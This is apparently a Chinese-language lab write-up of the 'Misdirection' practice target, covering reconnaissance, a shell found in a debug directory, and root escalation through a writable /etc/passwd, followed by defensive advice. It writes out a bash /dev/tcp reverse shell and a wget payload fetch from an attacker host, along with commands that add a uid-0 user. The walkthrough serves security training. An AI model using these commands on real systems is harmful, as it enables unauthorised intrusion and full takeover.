打靶日记--Misdirection
字数 1318 2025-08-29 08:29:41

Web渗透测试实战教学:从信息搜集到提权

1. 信息搜集阶段

1.1 主机发现与端口扫描

首先使用Nmap等工具进行主机发现和端口扫描,发现目标开放了以下端口:

  • 22 (SSH)
  • 80 (HTTP)
  • 3306 (MySQL)
  • 8080 (HTTP备用端口)

优先级排序

  1. 80和8080端口(Web服务)
  2. 3306端口(数据库)
  3. 22端口(SSH)

1.2 服务版本识别

对开放的端口进行版本扫描,发现:

  • 80端口运行的是Python搭建的网络服务
  • 8080端口运行的是Web2py框架

1.3 漏洞扫描

初步扫描结果:

  • 80端口报告可能存在SQL注入(但验证后为误报)
  • 8080端口发现几个可访问目录

2. 渗透阶段

2.1 80端口分析

80端口运行一个投票系统,尝试以下步骤:

  1. 尝试注册账户,但发现邮件端口未配置导致注册失败
  2. 检查Web2py框架漏洞(已知Web2py存在漏洞但利用较复杂)

2.2 8080端口分析

8080端口显示网站搭建成功页面,进一步操作:

  1. 目录爆破(即使Nmap已扫描,仍需详细扫描)
    • 使用工具:Dirbuster、Gobuster等
  2. 发现多个目录,大部分为空或隐藏内容
  3. 关键发现:在debug目录下找到一个功能完整的shell

3. 初始访问获取

3.1 Shell获取

发现debug目录下的shell后:

  1. 确认shell功能完整,用户为www-data
  2. 选择反弹shell方法:
    • 直接使用bash反弹
    • 或上传webshell文件(需注意文件权限)

实际操作

# 方法一:直接反弹shell
bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1

# 方法二:上传webshell(示例)
wget http://[攻击机IP]/shell.php -O /path/to/shell.php
chmod +x /path/to/shell.php

4. 权限提升

4.1 初始权限检查

获取初始shell后:

  1. 检查当前用户权限
  2. 发现可以无密码切换到brexit用户:
    sudo -u brexit /bin/bash
    

4.2 提升shell交互性

改善shell体验:

# 使用Python提升交互性
python -c 'import pty;pty.spawn("/bin/sh")'

# 设置终端类型
export TERM=xterm-color

4.3 提权路径发现

查找可写文件:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

关键发现:可以修改/etc/passwd文件

4.4 通过/etc/passwd提权

步骤:

  1. 查看root账户在/etc/passwd中的格式

  2. 生成root权限账户:

    # 生成加密密码
    openssl passwd -1 -salt [salt] [password]
    
    # 示例(密码为"password"):
    openssl passwd -1 -salt abc password
    
  3. 构造root权限用户行(模仿root格式):

    testuser:生成的密码哈希:0:0:root:/root:/bin/sh
    
  4. 写入/etc/passwd

注意:如果遇到/bin/bash不存在,改为/bin/sh

4.5 验证提权

使用创建的用户登录验证root权限:

su testuser

5. 关键知识点总结

  1. 信息搜集优先级:Web服务>数据库>SSH
  2. 目录爆破:即使初步扫描已完成,仍需详细扫描
  3. Shell获取:多种方法需根据实际情况选择
  4. 权限提升路径
    • 检查sudo权限
    • 查找可写文件
    • 重点检查/etc/passwd、/etc/shadow等关键文件
  5. 密码生成:使用openssl生成符合/etc/passwd格式的密码
  6. 系统差异:注意不同Linux发行版的shell路径可能不同

6. 防御建议

  1. Web服务

    • 关闭调试接口
    • 限制目录访问权限
    • 及时更新框架补丁
  2. 系统安全

    • 设置/etc/passwd为只读
    • 定期检查用户账户
    • 限制sudo权限
  3. 监控

    • 监控关键文件修改
    • 记录异常登录行为

本案例展示了从信息搜集到提权的完整流程,重点在于发现非常规入口(debug目录)和利用系统配置不当(可写的/etc/passwd)进行提权。

Web渗透测试实战教学:从信息搜集到提权 1. 信息搜集阶段 1.1 主机发现与端口扫描 首先使用Nmap等工具进行主机发现和端口扫描,发现目标开放了以下端口: 22 (SSH) 80 (HTTP) 3306 (MySQL) 8080 (HTTP备用端口) 优先级排序 : 80和8080端口(Web服务) 3306端口(数据库) 22端口(SSH) 1.2 服务版本识别 对开放的端口进行版本扫描,发现: 80端口运行的是Python搭建的网络服务 8080端口运行的是Web2py框架 1.3 漏洞扫描 初步扫描结果: 80端口报告可能存在SQL注入(但验证后为误报) 8080端口发现几个可访问目录 2. 渗透阶段 2.1 80端口分析 80端口运行一个投票系统,尝试以下步骤: 尝试注册账户,但发现邮件端口未配置导致注册失败 检查Web2py框架漏洞(已知Web2py存在漏洞但利用较复杂) 2.2 8080端口分析 8080端口显示网站搭建成功页面,进一步操作: 目录爆破(即使Nmap已扫描,仍需详细扫描) 使用工具:Dirbuster、Gobuster等 发现多个目录,大部分为空或隐藏内容 关键发现:在debug目录下找到一个功能完整的shell 3. 初始访问获取 3.1 Shell获取 发现debug目录下的shell后: 确认shell功能完整,用户为www-data 选择反弹shell方法: 直接使用bash反弹 或上传webshell文件(需注意文件权限) 实际操作 : 4. 权限提升 4.1 初始权限检查 获取初始shell后: 检查当前用户权限 发现可以无密码切换到brexit用户: 4.2 提升shell交互性 改善shell体验: 4.3 提权路径发现 查找可写文件: 关键发现:可以修改/etc/passwd文件 4.4 通过/etc/passwd提权 步骤: 查看root账户在/etc/passwd中的格式 生成root权限账户: 构造root权限用户行(模仿root格式): 写入/etc/passwd 注意 :如果遇到/bin/bash不存在,改为/bin/sh 4.5 验证提权 使用创建的用户登录验证root权限: 5. 关键知识点总结 信息搜集优先级 :Web服务>数据库>SSH 目录爆破 :即使初步扫描已完成,仍需详细扫描 Shell获取 :多种方法需根据实际情况选择 权限提升路径 : 检查sudo权限 查找可写文件 重点检查/etc/passwd、/etc/shadow等关键文件 密码生成 :使用openssl生成符合/etc/passwd格式的密码 系统差异 :注意不同Linux发行版的shell路径可能不同 6. 防御建议 Web服务 : 关闭调试接口 限制目录访问权限 及时更新框架补丁 系统安全 : 设置/etc/passwd为只读 定期检查用户账户 限制sudo权限 监控 : 监控关键文件修改 记录异常登录行为 本案例展示了从信息搜集到提权的完整流程,重点在于发现非常规入口(debug目录)和利用系统配置不当(可写的/etc/passwd)进行提权。